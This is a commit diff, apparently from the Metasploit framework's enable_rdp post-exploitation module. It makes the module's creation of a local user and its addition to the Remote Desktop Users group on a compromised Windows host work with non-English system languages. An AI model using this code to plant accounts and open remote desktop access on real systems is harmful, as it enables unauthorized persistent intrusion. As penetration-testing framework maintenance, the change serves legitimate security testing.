Fix #3852, make enable_rdp with other languages
parent
488f46c8a1
commit
27323bcaa5
|
@ -116,8 +116,21 @@ class Metasploit3 < Msf::Post
|
||||||
print_status "Setting user account for logon"
|
print_status "Setting user account for logon"
|
||||||
print_status "\tAdding User: #{username} with Password: #{password}"
|
print_status "\tAdding User: #{username} with Password: #{password}"
|
||||||
begin
|
begin
|
||||||
|
if check_user(username)
|
||||||
|
print_error("\tThe user #{username} already exists")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
user_added = false
|
||||||
addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
|
addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
|
||||||
|
|
||||||
if addusr_out =~ /success/i
|
if addusr_out =~ /success/i
|
||||||
|
user_added = true
|
||||||
|
elsif check_user(username)
|
||||||
|
user_added = true
|
||||||
|
end
|
||||||
|
|
||||||
|
if user_added
|
||||||
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
|
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
|
||||||
print_status "\tAdding User: #{username} to local group '#{rdu}'"
|
print_status "\tAdding User: #{username} to local group '#{rdu}'"
|
||||||
cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
|
cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
|
||||||
|
@ -136,8 +149,17 @@ class Metasploit3 < Msf::Post
|
||||||
print_error("\t#{l.chomp}")
|
print_error("\t#{l.chomp}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
rescue::Exception => e
|
rescue ::Exception => e
|
||||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def check_user(user)
|
||||||
|
output = cmd_exec('cmd.exe', '/c net user')
|
||||||
|
if output.include?(user)
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
false
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue